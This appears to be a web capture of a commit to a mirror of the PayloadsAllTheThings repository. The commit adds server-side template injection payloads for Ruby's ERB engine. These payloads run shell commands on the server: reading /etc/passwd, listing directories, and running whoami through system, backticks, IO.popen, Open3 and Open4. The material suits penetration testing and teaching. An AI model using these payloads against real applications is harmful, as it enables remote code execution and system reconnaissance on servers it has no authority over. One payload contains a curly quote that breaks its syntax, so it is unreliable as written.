mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2025-01-21 10:48:50 +00:00
Update ERB SSTI tips
This commit is contained in:
parent
5323ceb37c
commit
7670e2c36c
@ -95,7 +95,13 @@ Execute code using SSTI for ERB engine.
|
|||||||
|
|
||||||
```ruby
|
```ruby
|
||||||
<%= system('cat /etc/passwd') %>
|
<%= system('cat /etc/passwd') %>
|
||||||
|
<%= `ls /` %>
|
||||||
|
<%= IO.popen('ls /').readlines() %>
|
||||||
|
<% require 'open3’ %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
|
||||||
|
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>
|
||||||
```
|
```
|
||||||
|
|
||||||
|
|
||||||
Execute code using SSTI for Slim engine.
|
Execute code using SSTI for Slim engine.
|
||||||
|
|
||||||
```powershell
|
```powershell
|
||||||
|
Loading…
Reference in New Issue
Block a user